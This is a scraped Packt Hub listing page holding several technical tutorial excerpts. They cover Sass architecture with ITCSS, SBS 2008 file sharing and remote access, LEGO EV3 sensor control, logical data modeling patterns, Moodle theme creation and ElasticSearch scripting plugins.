Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Events
Videos
Audiobooks
Packt Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

How-To Tutorials

7018 Articles
article-image-how-structure-your-sass-scalability-using-itcss
Cameron
25 Jan 2016
5 min read
Save for later

How to structure your Sass for scalability using ITCSS

Cameron
25 Jan 2016
5 min read
When approaching a large project with Sass, it can be tempting to dive right into code and start adding partials into a Sass folder, styling parts of your website or app, and completely forgetting about taking a moment to consider how you might structure your code and implement a strategy for expanding your codebase. When designers or developers lose sight of this important concept during a project, it usually ends up in a messy codebase where a ton of arbitrary partials are being imported into a big style.scss that not only will make it difficult for other developers to follow and understand, but is by no means scalable. CSS has faults While Sass has powerful features like functions, loops, and variables, it still doesn’t solve some of the fundamental problems that exist within CSS. There are two main problems that come up when styling CSS at scale that make it difficult to work in a straightforward way. The first problem exists with the CSS cascade. The issue with cascade is that it makes the entire codebase very highly dependent on source order and exposes a global namespace where selectors can inherit other selectors making it hard to fully encapsulate styles. Because of this design flaw, any new styles we add will always be subject to previous dependencies and, without careful consideration, can quickly become overridden in an undesirable manner. The second and biggest problem occurs from specificity. When writing highly specific selectors, such as an ID or nested descendant selectors, these styles will problematically bypass the cascade, making it challenging to add additional styles that may be less specific. These problems need to be addressed at the early stages of a project in order for designers and developers to understand the codebase, to keep new code DRY (Don’t Repeat Yourself), and to allow for scalability. Harry Roberts' ITCSS ITCSS (Inverted Triangle CSS) is an architecture methodology by Harry Roberts for creating scalable, managed CSS. It is primarily a way of thinking about your codebase and a methodology that designers and developers can follow to allow for project clarity and scalability. It’s also not tied to CSS specifically and so therefore can also be used in projects with preprocessors like Sass. The primary idea behind ITCSS is that you should structure your code in an order of specificity. This means your generic styles like global resets and tag selectors (less specific) will go at the top, and you’ll gradually put more explicit styles further down the stylesheet. This creates an “inverted triangle“ shape from the order of specificity. With this methodology, we can begin to structure our Sass in an organized way and follow a strategy when approaching new styles. Creating layers The fundamental key to using ITCSS is to divide our styles into layers. These layers will consist of directories that will contain specific aspects of our code with related partials that we can build upon. In a similar fashion to MVC (Model-View-Controller), where you know where to look for certain things, let’s examine each layer and look at what it can be used for. Settings These are your global variables and configuration settings. This is where you would put your Sass variables containing all your fonts, typography sizes, colors, paddings, margins, and breakpoints. Tools These are your Sass mixins and functions. They could be utility functions or layout or theme mixins. Generic These are ground-zero styles. This means things like global resets, box-sizing, or print styles. Base This layer contains any un-classed selectors. This means things like h1 tags and p tags. In essence, what does an h1 look like without a class? These partials should be adjustments to base elements. Objects In objects, we’re really talking about design patterns like the media object. This is the first layer where you’d begin to use classes. Here you’d want to choose agnostic names that aren’t specific to the type of object. For example, you may have a .slider-list, but not a .product-slider-list. The idea is to keep these cosmetic-free in order to keep them reusable across component instances. Components These are more explicit to the type of object. In this case, a .product-slider-list would be in a components/_product-slider.scss partial within this layer. Trumps Lastly, the trumps, or “override” layer, should contain high-specificity selectors. These are things like utility classes such as .hide which may use a rule like display none !important.  Conclusion It’s important to remember that when you’re styling a new project, you should consider a structural approach early on and have a strategy like ITCSS that allows for scalability. With a sane environment set up that keeps a clear, contextual separation of styles, you’ll be able to tame and manage the source order, abstract design patterns, and scale your code while leveraging features within Sass. From 11th to 17th April, you can save 70% on some of our very best web development titles. From ReactJS to Angular 2, we've got everything the modern web developer needs. Find them here.  About the author Cameron is a freelance web designer, developer, and consultant based in Brooklyn, NY. Whether he’s shipping a new MVP feature for an early-stage startup or harnessing the power of cutting-edge technologies with a digital agency, his specialities in UX, Agile, and front-end Development unlock the possibilities that help his clients thrive. He blogs about design, development, and entrepreneurship and is often tweeting something clever at @cameronjroe.
Read more
  • 0
  • 0
  • 8499

article-image-working-sbs-services-user-part-2
Packt
26 Oct 2009
10 min read
Save for later

Working with SBS Services as a User: Part 2

Packt
26 Oct 2009
10 min read
Managing files One service that SBS 2008 provides for users is a secure place to store files. Both web sites and file shares are provided by default to assist with this. Enabling collaboration on documents, where multiple people will want to read or update a file is best delivered using the CompanyWeb site. The CompanyWeb site is the internal web site and it is built on Windows SharePoint Services technologies. In this section, I will explore: File management aspects of CompanyWeb Searching across the network for information User file recovery Internal Web Site Access SBS 2008 provides an intranet for sharing information. This site is called the CompanyWeb and can be accessed internally by visiting http://companyweb. To access it remotely, click on the Internal Web Site button that will open up the URL https://remote.yourdomain.co.uk:987. It is important that you note the full URL with :987 on the end, otherwise you will not see your CompanyWeb. CompanyWeb, in its simplest form, is a little like a file share, but has considerably more functionality such as the ability to store more than just files, be accessible over the Internet and your local network, host applications, and much more. For file management, it enables flow control such as document check-in and check-out for locking of updates and an approval process for those updates. It can also inform users when changes have taken place, so that they do not need to check on the web site as it will tell them. Finally, it can enable multiple people to work on a document and it will arbitrate the updates so the owner can see all the comments and changes. While we are looking at CompanyWeb from a file management perspective, it is worth pointing out that any Windows SharePoint Services site also has the capability to run surveys, provide groups, web-based calendars, run web-based applications that are built on top of the SharePoint services, host blog and wiki pages, and perform as your fax center. In looking at file management, I will briefly explain how to: Upload a document via the web interface Add a document via email attachment Edit a document stored in CompanyWeb Check Out/In a document Recover a deleted document Uploading documents Navigate to http://CompanyWeb in your browser and then to the Shared Documents section. You can create other document libraries by clicking on Site Actions in the righthand corner of the screen and then selecting Create. From here, you can upload documents in three different ways. You can upload single or multiple documents from the Upload menu. If you chose this option, you will be prompted to Browse for a single file and then click on OK to upload the file. If you chose Upload Multiple Documents from the menu or the Upload Document screen, you will be presented with the multiple upload tool. Navigate to the folder with the files you wish to upload, check the items, and click OK to start the upload. The final mechanism to load documents is to choose to Open with Windows Explorer from the Actions menu. This will open an Explorer window that you can then copy and paste into as if you had two local folders open on your computer. Uploading using email I know this might sound a little strange, but the process of emailing documents backwards and forwards between people, for ideas and changes, can make "keeping up to date" very confusing for everyone. Using CompanyWeb in this way enables each user to update their copy of the document and then merge them all together so the differences can be accepted or rejected by the owner. To upload a document via email, create a new email in Outlook and attach a document as per normal. Then, go to the Insert tab and click on the small arrow on the bottom right of the Include section. In the task pane that opens on the righthand side, change the Attachment Options to Shared attachments and type http://CompanyWeb into the box labeled Create Document Workspace at:. This will create the additional text in the mail and include a link to the site that was created under CompanyWeb. This site is secured so that only the people on the To line and the person who sent it have access. Send the email, and the attachment will be loaded to the special site. Each user can open the attachment as per normal, save it to their hard disk, and edit the document. The user can make as many changes as they like and finally, save the updates to the CompanyWeb site. If their changes are to an earlier version, they will be asked to either overwrite or merge the changes. The following sample shows the writing from Molly and Lizzy in two different colors so that the document owner can read and consider all the changes and then accept all or some of them.   Opening documents and Checking Out and In Once you have documents stored on the CompanyWeb site, you can open them by simply clicking on the links. You will be prompted if you want to open a Read Only copy or Edit the document. Click OK once you have selected the right option. This simple mechanism is fine where there is no control, but you might want to ensure that no one else can modify the document while you are doing so. In the previous section, I showed the conflict resolution process, but this can be avoided by individuals checking documents in and out. When a document is checked out, you can only view the document unless you are the person who checked it out, in which case you can edit it. To check a document out, hover over the document and click on the downward arrow that appears on the right of the filename. A menu will appear and you can select Check Out from that menu. You can then edit the document while others cannot. Once you are finished, you need to check the document back in. This can be done from Word or back on the web site on the same drop-down menu where you checked it out. Recovering a deleted document in CompanyWeb If you delete a document in CompanyWeb, there is a recycle bin to recover documents from. On almost all lefthand navigation panes is the Recycle Bin link. Click this and you will be asked to select the documents to recover and then click on Restore Selection. Searching for information You can search for any file, email, calendar appointment, or document stored on your hard disk with SBS 2008 and Windows Vista or Windows XP and Windows Search. Just as with the email search facility, you can also search for any file, or the contents of any file on both the CompanyWeb site and on your computer. To search on CompanyWeb, type the key words that you are interested in into the search box in the top right corner and then click on the magnifying glass. This will then display you a varied set of results as you can see in the following example. If you are using Vista, you can type a search into the Start menu or select Search from the Start menu and again type the key words you are looking for in the top right corner. The Windows search will search your files, emails, calendar and contacts, and browser history to find a list of matches for you. You can get the latest version of Desktop Search for Windows Vista and Windows XP by following http://davidoverton.com/r.ashx?1K. User file recovery We have already covered how you recover deleted emails and documents in CompanyWeb, but users need something a little more sophisticated with file recovery on their desktop. Generally, when an administrator is asked to recover a file for a user, it is either because they have just deleted it and it is not in the recycle bin or they still have the file, but it has become corrupt or they wish to undo changes made over the last day or two. When you turn on folder redirection or when you are using Windows Vista, users get the ability to roll back time to a version of the file or folder that was copied over the previous few days. This means that not only can we undelete files from the recycle bin, but we can revert back to an earlier copy of a file that has not been deleted from 3-7 days previous without needing to access the backups. If the file has been deleted, we can look into the folder from an earlier time snap-shot as opposed to just the still existing files. To access this facility, right-click on the folder for which you want to get an earlier version and select Properties. Now, move to the Previous Versions tab. You can now Open the folder to view, as is shown on the right below, Copy the folder to a new location, or Revert the folder to the selected version, overwriting the current files. Remote access Now that the client computers are configured to work with SBS 2008, you need to check that the remote access tools are working. These are: Remote Web Workplace Outlook Web Access Internal Web Site Access Connecting to a PC on the SBS 2008 LAN Connecting via a Virtual Private Network (VPN) Remote Web Workplace, remote email, and intranet access The Remote Web Workplace is the primary location to use to access computers and services inside your SBS 2008 network when you are not yourself connected to it. To access the site, open your browser and go to https://remote.yourdomain.co.uk/remote. If you forget the /remote from the URL, you will get a 403 – Forbidden: Access is denied error. You will be presented with a sign-in screen where you enter your user name and password. Once you are through the login screen, you will see options for the provided three sections and a number of links. Customizing Remote Web Workplace You can customize the information that is present on the Welcome screen of the Remote Web Workplace, including the links shown, the background bitmaps, and company icons. Two of the links shown on the Welcome Page have a URL that starts with https://sites, which will not work from the Internet, so these will need to be changed. To do this, go to the Shares Folders and Web Sites tab and select Web Sites. Click on the View site properties button in the righthand task pane and navigate to the Home page links section. From here, you can choose what is displayed on the front page, removing options if desired. To alter the URLs of the links, click on the Manage links… button.
Read more
  • 0
  • 0
  • 8494

article-image-advanced-programming-and-control
Packt
05 Feb 2015
10 min read
Save for later

Advanced Programming and Control

Packt
05 Feb 2015
10 min read
Advanced Programming and Control In this article by Gary Garber, author of the book Learning LEGO MINDSTORMS EV3, we will explore advanced controlling algorithms to use for sensor-based navigation and tracking. We will cover: Proportional distance control with the Ultrasonic Sensor Proportional distance control with the Infrared (IR) Sensor Line following with the Color Sensor Two-level control with the Color Sensor Proportional control with the Color Sensor Proportional integral derivative control Precise turning and course correction with the Gyro Sensor Beacon tracking with the IR sensor Triangulation with two IR beacons (For more resources related to this topic, see here.) Distance controller In this section, we will program the robot to gradually come to a stop using a proportional algorithm. In a proportional algorithm, the robot will gradually slow down as it approaches the desired stopping point. Before we begin, we need to attach a distance sensor to our robot. If you have the Home Edition, you will be using the IR sensor, whereas if you have the Educational Edition, you will use the Ultrasonic Sensor. Because these sensors use reflected beams (infrared light or sound), they need to be placed unobstructed by the other parts of the robot. You could either place the sensor high above the robot or well out in front of many parts of the robot. The design I have shown in the following screenshot allows you to place the sensor in front of the robot. If you are using the Ultrasonic Sensor for FIRST Lego League (a competition that uses a lot of sensor-based navigation) and trying to measure the distance to the border, you will find it is a good idea to place the sensor as low as possible. This is because the perimeter of the playing fields for FIRST LEGO League are made from 3- or 4-inch- high pieces of lumber. Infrared versus Ultrasonic We are going to start out with a simple program and will gradually add complexity to it. If you are using the Ultrasonic Sensor, it should be plugged into port 4, and this program is on the top line. If you are using the IR sensor, it should be plugged into port 1 and this program is at the bottom line. In this program, the robot moves forward until the Wait block tells it to stop 25 units from a wall or other barrier. You will find that the Ultrasonic Sensor can be set to stop in units of inches or centimeters. The Ultrasonic Sensor emits high-frequency sound waves (above the range of human hearing) and measures the time delay between the emission of the sound waves and when the reflection off an object is measured by the sensor. In everyday conditions, we can assume that the speed of sound is constant, and thus the Ultrasonic Sensor can give precise distance measurements to the nearest centimeter. In other programming languages, you could even use the Ultrasonic Sensor to transmit data between two robots. The IR sensor emits infrared light and has an IR-sensitive camera that measures the reflected light. The sensor reading does not give exact distance units because the strength of the signal depends on environmental factors such as the reflectivity of the surface. What the IR sensor loses in precision in proximity measurements, it makes up for in the fact that you can use it to track on the IR beacon, which is a source of infrared light. In other programming languages, you could actually use the IR sensor to track on sources of infrared light other than the beacon (such as humans or animals). In the following screenshot, we have a simple program that will tell the robot to stop a given distance from a barrier using a Wait for the sensor block. The program on the top of the screenshot uses the Ultrasonic Sensor, and the program on the bottom of the screenshot uses the IR sensor. You should only use the program for the sensor you are using. If you are downloading and executing the program from the Packt Publishing website, you should delete the program that you do not need. When you execute the program in the preceding screenshot, you will find that the robot only begins to stop at 25 units from the wall, but cannot stop immediately. To do this, the robot will need to slow down before it gets to the stopping point. Proportional algorithm In the next set of program, we create a loop called Slow Down. Inside this loop, readings from the Ultrasonic or Infrared proximity sensor block are sent to a Math block (to take the negative of the position values so that the robot moves forward) and then sent to the power input of a Move Steering block. We can have the loop end when it reaches our desired stopping distance as shown in the following screenshot: Instead of using the exact values of the output of the sensor block, we can use the difference between the actual position and the desired position to control the Move Steering block, as shown in the following screenshot. This difference is called the error. We call the desired position the setpoint. In the following screenshot, the setpoint is 20. The power is actually proportional to the error or the difference between the positions. When you execute this code, you will also find that if the robot is too close to the wall, it will run in reverse and back up from the wall. We are using an Advanced Math block in the following screenshot. You can see that we are writing a simple equation, -(a-b), into the block text field of the Advanced Math block: You may have also noticed that the robot moves very slowly as it approaches the stopping point. You can change this program by adding gain to the algorithm. If you multiply the difference by a larger factor, it will approach the stopping point quicker. When you execute this program, you will find that if you increase the gain too much, it will overshoot the stopping point and reverse direction. We can adjust these values using the Advanced Math block. We can type in any simple math function we need, as shown in the following screenshot. In this block, the value of a is the measured position, b is the setpoint position, and c is the gain. The equation can be seen in the following screenshot inside the block text field of the Advanced Math block: We can also define the desired gain and setpoint position using variables. We can create two Variable blocks called Gain and Set Point. We can write the value 3 to the Gain variable block and 20 to the Set Point variable block. Inside our loop, we can then read these variables and take the output of the Read Variable block and draw data wires into the Advanced Math block. The basic idea of the proportional algorithm is that the degree of correction needed is proportional to the error. So when our measured value is far from our goal, a large correction is applied. When our measured value is near our goal, only a small correction is applied. The algorithm also allows overcorrections. If the robot moves past the setpoint distance, it will back up. Depending on what you are trying to do, you will need to play around with various values for the gain variable. If the gain is too large, you will overshoot your goal and oscillate around it. If your gain is too small, you will never reach your goal. The response time of the microprocessor also affects the efficiency of the algorithm. You can experiment by inserting a Wait block into the loop and see how this affects the behavior of the robot. If we are merely using the distance sensor to approach a stationary object, then the proportional algorithm will suffice. However, if you were trying to maintain a given distance from a moving object (such as another robot), you might need a more complicated algorithm such as a Proportional Integral Derivative (PID) controller. Next we will build a line follower using the Color Sensor, which will use a PID controller. Line following using the Color Sensor When we are using the Color Sensor in Reflected Light Intensity mode, the sensor emits light and the robot measures the intensity of the reflected light. The brightness of the red LED in the sensor is a constant, but the intensity of the reflection will depend on the reflectivity of the surface, the angle of the sensor relative to the surface, and the distance of the sensor from the surface. If you shine the sensor at a surface, you will notice that a circle of light is generated. As you change the height of the sensor, the diameter of this circle will change because the light emitted from the LED diverges in a cone. As you increase the height, the size of the circle gets larger and the reflected intensity gets smaller. You might think you want the sensor to be as close as possible to the surface. Because there is a finite distance between the LED and the photo diode (which collects the light) of about 5.5 mm, it puts a constraint on the minimum diameter of your circle of light. Ideally, you want the circle of light to have a diameter of about 11 mm, which means placing the sensor about half of a centimeter above the tracking surface. For the caster-bot, you will need the sensor, an axle, two bushings, two long pins, a 5-mod beam, and two axle-pin connectors, as you can see in the following screenshot: You can assemble the sensor attachment in two steps. The sensor attachment settles into the holes in the caster attachment itself as you can see in the following screenshot. This placement is ideal as it allows the caster to do the steering while you do your line tracking. You can build the Color Sensor attachment in four steps. The Color Sensor attachment for the skid-bot will be the most complicated of our designs because we want the sensor to be in front of the robot and the skid is quite long. Again, we will need the pins, axles, bushings, and axle-pin connectors seen in the following screenshot: The Color Sensor attachment will connect directly to the EV3 brick. As you can see in the following screenshot, the attachment will be inserted from below the brick: Next I will describe the attachment for the tread-bot from the Educational kit. Because the tread-bot is slightly higher off the ground, we need to use some pieces such as the thin 1 x 4 mod lift arm that is a half mod in height. This extra millimeter in height can make a huge difference in the signal strength. The pins have trouble gripping the thin lift arm, so I like to use the pins with stop bushings to prevent the lift arm from falling off. The Light Sensor attachment is once again inserted into the underside of the EV3 brick as you can see in the following screenshot: The simplest of our Light Sensor attachments will be the tread-bot for the Home Edition, and you can build this in one step. Similarly, it attaches to the underside of the EV3 brick. Summary In this article, we explored advanced methods of navigations. We used both the Ultrasonic Sensor and the Infrared Sensor to measure distance with a proportional algorithm. Resources for Article: Further resources on this subject: eJOS – Unleashing EV3 [article] Proportional line follower (Advanced) [article] Making the Unit Very Mobile - Controlling Legged Movement [article]
Read more
  • 0
  • 0
  • 8493

article-image-type-subtype-and-category-patterns-logical-data-modeling
Packt
24 Oct 2009
4 min read
Save for later

Type, Subtype, and Category Patterns in Logical Data Modeling

Packt
24 Oct 2009
4 min read
Before I cover the three logical data modeling patterns, let's review briefly how we typically model a type. Let's say you're in a car business. You can model a car as a Car entity shown in the figure below; its sample data values are in following table (I just use six numbers for the VIN, instead of the 17 characters VIN standard, in the sample). VIN (Vehicle Identification Number), the car serial number, is the unique key of the Car entity. The other attributes (Brand, Model, Year, and Manufacturer's Suggested Retail Price) can be thought as the type of a specific car  with a unique VIN. So, the type is in the entity itself. Note that you can have more than one car—each with a unique VIN—that have the same type, such as the first three Honda Accord in the sample table. If you have many cars of the same type, or, you have many car types and they're dynamic (have changes:  new, update, delete; for example, the update on the MSRP), you can easily recognize that this model is then not suitable—type model is a better solution.   VIN Brand Model Year MSRP 123987 Honda Accord 2007 20,000 456321 Honda Accord 2007 20,000 555666 Honda Accord 2007 20,000 678345 Toyota Corolla 2008 21,000   ...   ...   Type The ER (Entity Relationship) diagram of the following figure shows Car Type and Car entities and their relationship. Car Type defines each type of your cars—a type is a definition of something. The Car is the individual car, each with a serial number (Vehicle Identifier Number) that has a specific type defined in the Car Type. You can think of a Car Type entity as a template used (instantiated) by an individual car. Now you can have as many car types as you need, and type changes don't affect the cars. Table two tables after the figure contain sample data values of the Car Type—Car data model. Note that a car can belong to one car type only. On the other hand, a car type can be the type of many cars.   Car Type Key Brand Model Year MSRP 1 Honda Accord 2007 20,000 2 Toyota Corolla 2008 21,000 ... ... ... ... ...       VIN Car Type Key Owner 123987 1 Djoni Darmawikarta 456321 1 Kevin Peter 555666 1 Rao Ganipineni 678345 2 Sherman Chang ... ... ... How do we deal with product that doesn't have an individual identifier? Can we apply the same data modeling structure to, for example, commercial books? You certainly have inventory; each Inventory is an instance of the Book Type. The following figure shows the Book Type—Book data model and its sample data values, respectively. You can also apply the same data model to intangible thing, such as Service; an individual service may be identified by, for example, a contract number. The following figure  and the last table in the article show the Service Type—Service data model and its sample data values, respectively. Subtype What if you have cars that have different sets of attributes, meaning different types? You can model the different types as subtypes. The following figure shows two subtypes of the Car Type entity: Passenger Car Type and Truck Type. The Car supertype has the common attributes of its subtypes while each of the subtypes has its different attributes. Category While Type is a definition of something, Category is a way to categorize something. While Service can be of only one type, it can be of more than one category—its relationship to Category entity is many-to-many. An example of category for Service is shown in the following figure and its sample data values in the table after it. Note that you need to resolve the many-to-many relationship at implementation time   Service Category Key Service Category 1 Bundled 2 Outsourced 3 Onsite 4 Software 5 Hardware ... ... Summary Type, Subtype, and Category are similar patterns for data modeling. This article introduces these three patterns and shows their differences. One or more of them exist in most data model. If your initial data model doesn't have any one of them then you should re-inspect the data model.
Read more
  • 0
  • 0
  • 8479

article-image-creating-your-first-complete-moodle-theme
Packt
11 May 2010
11 min read
Save for later

Creating your First Complete Moodle Theme

Packt
11 May 2010
11 min read
So let's crack on... Creating a new theme Finding a base theme to create your Moodle theme on is the first thing that you need to do.There are, however, various ways to do this; you can make a copy of the standard themeand rename it as you did in part of this article, or you can use a parent theme that isalso based on the standard theme. The important point here is that the standard theme that comes with Moodle is the cornerstone of the Moodle theming process. Every other Moodle theme should be based upon this theme, and would normally describe the differences from the standard theme. Although this method does work and is a simple way to get started with Moodle theming, it does cause problems as new features could get added to Moodle that might cause your theme to display or function incorrectly. The standard theme will always be updated before a new release of Moodle is launched. So if you do choose to make a copy of the standard theme and change its styles, it would be best to make sure that you use a parent theme as well. In this way, the parent theme will be your base theme along with the changes that you make to your copy of the standard theme. However, there is another way of creating your first theme, and that is to create a copy of a theme that is very close to the standard theme, such as standardwhite, and use this as your theme. Moodle will then use the standard theme as its base theme and apply any changes that you make to the standardwhite theme on the top (parent). All we are doing is describing the differences between the standard and the standardwhite themes. This is better because Moodle developers will sometimes make changes to the standard theme to be up-to-date with new Moodle features. This means that on each Moodle update, your standard theme, folder will be updated automatically, thus avoiding any nasty display problems being caused by Moodle updates. The way by which you configure Moodle themes is completely up to you. If you see a theme that is nearly what you want and there aren't really many changes needed, then using a parent theme makes sense, as most of the styles that you require have already been written. However, if you want to create a theme that is completely different from any other theme or wish to really get into Moodle theming, then using a copy of one of the standard sheets would be best. So let's get on and see what the differences are when using different theme setups, and see what effect these different methods have on the theming process. Time for action – copying the standard theme Browse to your theme folder in C:Program FilesApache Software FoundationApache 2.2htdocstheme. Copy the standard theme by right-clicking on the theme's folder and choosing Copy. Paste the copied theme into the theme directory (the same directory that you arecurrently in). Rename the copy of standard folder to blackandblue or any other name that you wish to choose (remember not to use capitals or spaces). Open your Moodle site and navigate to Site Administration Appearance | Themes | Theme Selector|, and choose the blackandblue theme that you have just created. Y ou might have noticed that the theme shown in the preceding screenshot has a header that says Black and Blue theme. This is because I have added this to the Full site name in the Front Page settings page. Time for action – setting a parent theme Open your web browser and navigate to your Moodle site and log in as the administrator. Go to Site Administration | Appearance | Themes | Theme Selector and choose your blackandblue theme if it is not already selected. Browse to the root of your blackandblue folder, right-click on the config.php file, and choose Open with | WordPad. You need to make four changes to this file so that you can use this theme and a parent theme while ensuring that you still use the default standard theme as your base. Here are the changes: $THEME->sheets = array('user_styles');$THEME->standardsheets = true;$THEME->parent = 'autumn';$THEME->parentsheets = array('styles'); Let's look at each of these statements, in turn. $THEME->sheets = array('user_styles'); This contains the names of all of the stylesheet files that you want to include in this for your blackandblue theme, namely user_styles. $THEME->standardsheets = true; This parameter is used to include the standard theme's stylesheets. If it is set to True, it will use all of the stylesheets in the standard theme. Alternatively, it can be set as an array in order to load individual stylesheets in whatever order is required. We have set this to True, so we will use all of the stylesheets of the standard theme. $THEME->parent = 'autumn'; This variable can be set to use a theme as the parent theme, which is included before the current theme. This will make it easier to make changes to another theme without having to change the actual files. $THEME->parentsheets = array('styles'); This variable can be used to choose either all of the parent theme's stylesheets or individual files. It has been set to include the styles.css file from the parent theme, namely autumn. Because there is only one stylesheet in the Autumn theme, you can set this variable to True. Either way, you will have the same outcome. Save themeblackandblueconfig.php, and refresh your web browser window. You should see something similar to the following screenshot. Note that your blocks may be different to the ones below, but you can ignore this. What just happened? Okay, so now you have a copy of the standard theme that uses the Autumn theme (by Patrick Malley) as its parent. You might have noticed that the header isn't correct and that the proper Autumn theme header isn't showing. Well, this is because you are essentially using the copy of the standard theme and that the header from this theme is the one that you see above. It's only the CSS files that are included in this hierarchy, so any HTML changes will not be seen until you edit your standard theme's header.html file. Have a go hero – choose another parent theme Go back and have a look through some of the themes on Moodle.org and download one that you like. Add this theme as a parent theme to your blackandblue theme's config.php file, but this time choose which stylesheets you want to use from that theme. The Back to School theme is a good one for this exercise, as its stylesheets are clearly labeled. So you Copying the header and footer files To show that you are using the Autumn theme's CSS files and the standard theme's HTML files, you can just go and copy the header.html and footer.html files from Patrick Malley's Autumn theme and paste them into your blackandblue theme's folder. Don't worry about overwriting your header and footer files, as you can always just copy them again from the ac tual standard theme folder. Time for action – copying the header.html and footer.html files Browse to the Autumn theme's folder and highlight both the header.html and footer.html files by holding down the Ctrl key and clicking on them both. Right-click on the selected files and choose Copy. Browse to your blackandblue theme's folder and right-click and choose Paste. Go back to your browser window and press the F5 button to refresh the page. You will now see the full Autumn theme. What just happened? You have copied the autumn theme's header.html and footer.html files into your blackandblue theme, so you can see the full autumn theme working. You probably will not actually use the header.html and footer.html files that you just copied, as this was just an example of how the Moodle theming process works. So you now have an unmodified copy of the standard theme called blackandblue, which is using the autumn theme as its parent theme. All you need to do now to make changes to this theme is to edit your CSS file in the blackandblue theme folder. Theme folder housework However, there are a couple of things that you need to do first, as you have an exact copy of the standard theme apart from the header.html and footer.html files. This copied folder has files that you do not need, as the only file that you set for your theme to use was the user_styles.css file in the config.php file earlier. This was the first change that you made: $THEME->sheets = array('user_styles'); The user_style.css file does not exist in your blackandblue theme's folder, so you will need to create it. You will also need to delete any other CSS files that are present, as your new blackandblue theme will use only one stylesheet, namely the user_styles.css file that you will be creating in the following sections. Time for action – creating our stylesheet Right-click anywhere in your blackandblue folder and choose New Text Document|. Rename this text document to user_styles.css by right-clicking again and choosing Rename. Time for action – deleting CSS files that we don't need Delete the following CSS files by selecting them and then right-clicking on the selected files and choosing Delete. styles_color.css styles_ie6.css styles_ie6.css styles_ie7.css styles_layout.css styles_moz.css {background: #000000;} What just happened? In the last two tasks, you created an empty CSS file called user_style.css in your blackandblue theme's folder. You then deleted all of the CSS files in your blackandblue theme's folder, as you will no longer need them. Remember, these are just copies of the CSS files in the standard theme folder and you have set your theme to use the standard theme as its base in the blackandblue theme's config.php file. Let's make some changes Now you have set up your theme the way that you want it, that is, you are using your own blackandblue theme by using the standard theme as a base and the Autumn theme as the parent. Move on and make a few changes to your user_style.css file so that you can see what effect this has on your theme, and check that all of your config.php file's settings are correct. Remember that all of the current styles are being inherited from the Autumn theme. Time for action – checking our setup Open up your Moodle site with the current theme (which should be blackandblue but looks like the Autumn theme). Navigate to your blackandblue theme's folder, right-click on the user_style.css file, and choose Open. This file should be completely blank. Type in the following line of CSS for the body element, and then save the fi le: body {background: #000000;} Now refresh your browser window. You will see that the background is now black. Note: When using Firebug to identify styles that are being used, it might not always be obvious where they are or which style is controlling that element of the page. An example of this is the body {background: #000000;}code that we just pasted in our user_style.css file. If we had used Firebug to indentify that style, we would not have found it. Instead, I just took a look at the CSS file from the autumn theme. What I am trying to say here is that there will always be an element of poking around and trial and error. What just happened? All seems fine there, doesn't it? You have added one style declaration to your empty user_style.css file to change the background color, and have checked the changes in your browser. You now know how the parent themes work and know that you only need to copy the styles from Firebug into your user_style.css file and edit the style declarations that need to be changed.
Read more
  • 0
  • 1
  • 8476

article-image-extending-elasticsearch-scripting
Packt
06 Feb 2015
21 min read
Save for later

Extending ElasticSearch with Scripting

Packt
06 Feb 2015
21 min read
In article by Alberto Paro, the author of ElasticSearch Cookbook Second Edition, we will cover about the following recipes: (For more resources related to this topic, see here.) Installing additional script plugins Managing scripts Sorting data using scripts Computing return fields with scripting Filtering a search via scripting Introduction ElasticSearch has a powerful way of extending its capabilities with custom scripts, which can be written in several programming languages. The most common ones are Groovy, MVEL, JavaScript, and Python. In this article, we will see how it's possible to create custom scoring algorithms, special processed return fields, custom sorting, and complex update operations on records. The scripting concept of ElasticSearch can be seen as an advanced stored procedures system in the NoSQL world; so, for an advanced usage of ElasticSearch, it is very important to master it. Installing additional script plugins ElasticSearch provides native scripting (a Java code compiled in JAR) and Groovy, but a lot of interesting languages are also available, such as JavaScript and Python. In older ElasticSearch releases, prior to version 1.4, the official scripting language was MVEL, but due to the fact that it was not well-maintained by MVEL developers, in addition to the impossibility to sandbox it and prevent security issues, MVEL was replaced with Groovy. Groovy scripting is now provided by default in ElasticSearch. The other scripting languages can be installed as plugins. Getting ready You will need a working ElasticSearch cluster. How to do it... In order to install JavaScript language support for ElasticSearch (1.3.x), perform the following steps: From the command line, simply enter the following command: bin/plugin --install elasticsearch/elasticsearch-lang-javascript/2.3.0 This will print the following result: -> Installing elasticsearch/elasticsearch-lang-javascript/2.3.0... Trying http://download.elasticsearch.org/elasticsearch/elasticsearch-lang-javascript/ elasticsearch-lang-javascript-2.3.0.zip... Downloading ....DONE Installed lang-javascript If the installation is successful, the output will end with Installed; otherwise, an error is returned. To install Python language support for ElasticSearch, just enter the following command: bin/plugin -install elasticsearch/elasticsearch-lang-python/2.3.0 The version number depends on the ElasticSearch version. Take a look at the plugin's web page to choose the correct version. How it works... Language plugins allow you to extend the number of supported languages to be used in scripting. During the ElasticSearch startup, an internal ElasticSearch service called PluginService loads all the installed language plugins. In order to install or upgrade a plugin, you need to restart the node. The ElasticSearch community provides common scripting languages (a list of the supported scripting languages is available on the ElasticSearch site plugin page at http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-plugins.html), and others are available in GitHub repositories (a simple search on GitHub allows you to find them). The following are the most commonly used languages for scripting: Groovy (http://groovy.codehaus.org/): This language is embedded in ElasticSearch by default. It is a simple language that provides scripting functionalities. This is one of the fastest available language extensions. Groovy is a dynamic, object-oriented programming language with features similar to those of Python, Ruby, Perl, and Smalltalk. It also provides support to write a functional code. JavaScript (https://github.com/elasticsearch/elasticsearch-lang-javascript): This is available as an external plugin. The JavaScript implementation is based on Java Rhino (https://developer.mozilla.org/en-US/docs/Rhino) and is really fast. Python (https://github.com/elasticsearch/elasticsearch-lang-python): This is available as an external plugin, based on Jython (http://jython.org). It allows Python to be used as a script engine. Considering several benchmark results, it's slower than other languages. There's more... Groovy is preferred if the script is not too complex; otherwise, a native plugin provides a better environment to implement complex logic and data management. The performance of every language is different; the fastest one is the native Java. In the case of dynamic scripting languages, Groovy is faster, as compared to JavaScript and Python. In order to access document properties in Groovy scripts, the same approach will work as in other scripting languages: doc.score: This stores the document's score. doc['field_name'].value: This extracts the value of the field_name field from the document. If the value is an array or if you want to extract the value as an array, you can use doc['field_name'].values. doc['field_name'].empty: This returns true if the field_name field has no value in the document. 